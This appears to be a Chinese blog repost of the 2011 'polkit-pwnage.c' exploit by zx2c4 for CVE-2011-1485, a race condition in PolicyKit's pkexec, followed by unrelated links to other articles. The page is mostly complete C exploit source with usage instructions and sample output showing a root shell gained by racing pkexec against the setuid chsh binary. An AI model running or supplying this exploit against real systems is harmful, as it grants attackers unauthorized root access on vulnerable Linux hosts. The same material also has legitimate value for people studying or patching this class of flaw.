linux polkitd 漏洞,CVE-2011-1485 Red Hat PolicyKit pkexec功能和polkitd守护进程竞争条件漏洞-漏洞情报、漏洞详情、安全漏洞、CVE – 安全客…「建议收藏」

linux polkitd 漏洞,CVE-2011-1485 Red Hat PolicyKit pkexec功能和polkitd守护进程竞争条件漏洞-漏洞情报、漏洞详情、安全漏洞、CVE – 安全客…「建议收藏」/*polkit-pwnage.c***==============================*=PolicyKitPwnage=*=byzx2c4=*=Sept2,2011=*==============================***Howdyfolks,**T…

大家好,又见面了,我是你们的朋友全栈君。

/* polkit-pwnage.c

*

*

* ==============================

* = PolicyKit Pwnage =

* = by zx2c4 =

* = Sept 2, 2011 =

* ==============================

*

*

* Howdy folks,

*

* This exploits CVE-2011-1485, a race condition in PolicyKit.

*

* davidz25 explains:

*

* –begin–

* Briefly, the problem is that the UID for the parent process of pkexec(1) is

* read from /proc by stat(2)’ing /proc/PID. The problem with this is that

* this returns the effective uid of the process which can easily be set to 0

* by invoking a setuid-root binary such as /usr/bin/chsh in the parent

* process of pkexec(1). Instead we are really interested in the real-user-id.

* While there’s a check in pkexec.c to avoid this problem (by comparing it to

* what we expect the uid to be – namely that of the pkexec.c process itself which

* is the uid of the parent process at pkexec-spawn-time), there is still a short

* window where an attacker can fool pkexec/polkitd into thinking that the parent

* process has uid 0 and is therefore authorized. It’s pretty hard to hit this

* window – I actually don’t know if it can be made to work in practice.

* –end–

*

* Well, here is, in fact, how it’s made to work in practice. There is as he said an

* attempted mitigation, and the way to trigger that mitigation path is something

* like this:

*

* $ sudo -u `whoami` pkexec sh

* User of caller (0) does not match our uid (1000)

*

* Not what we want. So the trick is to execl to a suid at just the precise moment

* /proc/PID is being stat(2)’d. We use inotify to learn exactly when it’s accessed,

* and execl to the suid binary as our very next instruction.

*

* ** Usage **

* $ pkexec –version

* pkexec version 0.101

* $ gcc polkit-pwnage.c -o pwnit

* $ ./pwnit

* [+] Configuring inotify for proper pid.

* [+] Launching pkexec.

* sh-4.2# whoami

* root

* sh-4.2# id

* uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm)

* sh-4.2#

*

* ** Targets **

* This exploit is known to work on polkit-1 <= 0.101. However, Ubuntu, which

* as of writing uses 0.101, has backported 0.102’s bug fix. A way to check

* this is by looking at the mtime of /usr/bin/pkexec — April 22, 2011 or

* later and you’re out of luck. It’s likely other distributions do the same.

* Fortunately, this exploit is clean enough that you can try it out without

* too much collateral.

*

*

* greets to djrbliss and davidz25.

*

* – zx2c4

* 2-sept-2011

*

*/

#include

#include

#include

#include

#include

#include

int main(int argc, char **argv)

{

printf(“=============================\n”);

printf(“= PolicyKit Pwnage =\n”);

printf(“= by zx2c4 =\n”);

printf(“= Sept 2, 2011 =\n”);

printf(“=============================\n\n”);

if (fork()) {

int fd;

char pid_path[1024];

sprintf(pid_path, “/proc/%i”, getpid());

printf(“[+] Configuring inotify for proper pid.\n”);

close(0); close(1); close(2);

fd = inotify_init();

if (fd < 0)

perror(“[-] inotify_init”);

inotify_add_watch(fd, pid_path, IN_ACCESS);

read(fd, NULL, 0);

execl(“/usr/bin/chsh”, “chsh”, NULL);

} else {

sleep(1);

printf(“[+] Launching pkexec.\n”);

execl(“/usr/bin/pkexec”, “pkexec”, “/bin/sh”, NULL);

}

return 0;

}

版权声明:本文内容由互联网用户自发贡献,该文观点仅代表作者本人。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌侵权/违法违规的内容, 请联系我们举报,一经查实,本站将立刻删除。

发布者:全栈程序员-站长,转载请注明出处:https://javaforall.net/148178.html原文链接:https://javaforall.net

(0)
全栈程序员-站长的头像全栈程序员-站长


相关推荐

  • nslookup两种错误解决方法

    nslookup两种错误解决方法

    2021年8月14日
    344
  • Redis-GEO

    Redis-GEO

    2021年11月3日
    48
  • Subversion安装成Windows服务

    Subversion安装成Windows服务

    2021年8月17日
    55
  • 数据库建表规则_SQL创建数据表

    数据库建表规则_SQL创建数据表–数据库建表语句的规范小结建表语句的规范:1.字段的设计   A.数据类型尽量用数字类型,数字类型的比字符类型的要快很多。  B.数据类型尽量小,这里的尽量小是指在满足可以预见的未来需求的前提下的,但是有不能太小,  上次监控系统里面的表mon_tair_stat_detail_2012_1的data_size和use_size定义的是int(15)实际上

    2025年8月26日
    6
  • 复杂json转MAP对象

    复杂json转MAP对象普通json对象或者字符串转换map或者实体就不说了,这里主要提供复杂json转map的方法,直接上java代码了:publicclassJsonUtils{ /** *类描述:复杂json字符串转换为Map,包含数组时value为List。 */ publicstaticMapjson2Map(Stringjson){ LinkedMap

    2022年6月16日
    24
  • win10 虚拟显示器_电脑怎么设置虚拟显示器

    win10 虚拟显示器_电脑怎么设置虚拟显示器2017.7.7最近在做虚拟化,需要在虚机上虚拟出一个显示器,我使用的虚机是windows10,虚机里面有一张透传显卡(可看做是物理显卡),我尝试过一些方法,比如编写一个虚拟的WDDM显卡驱动,然后在显卡驱动上接上一个显示器,该方法是有效的,可以成功虚拟出一个显示器,但是在虚拟显示器上渲染数据使用的渲染引擎没有用到透传显卡,在性能上达不到我的要求,所以只好放弃用这种方法。于是,通过阅…

    2022年8月21日
    37

发表回复

您的邮箱地址不会被公开。 必填项已用 * 标注

关注全栈程序员社区公众号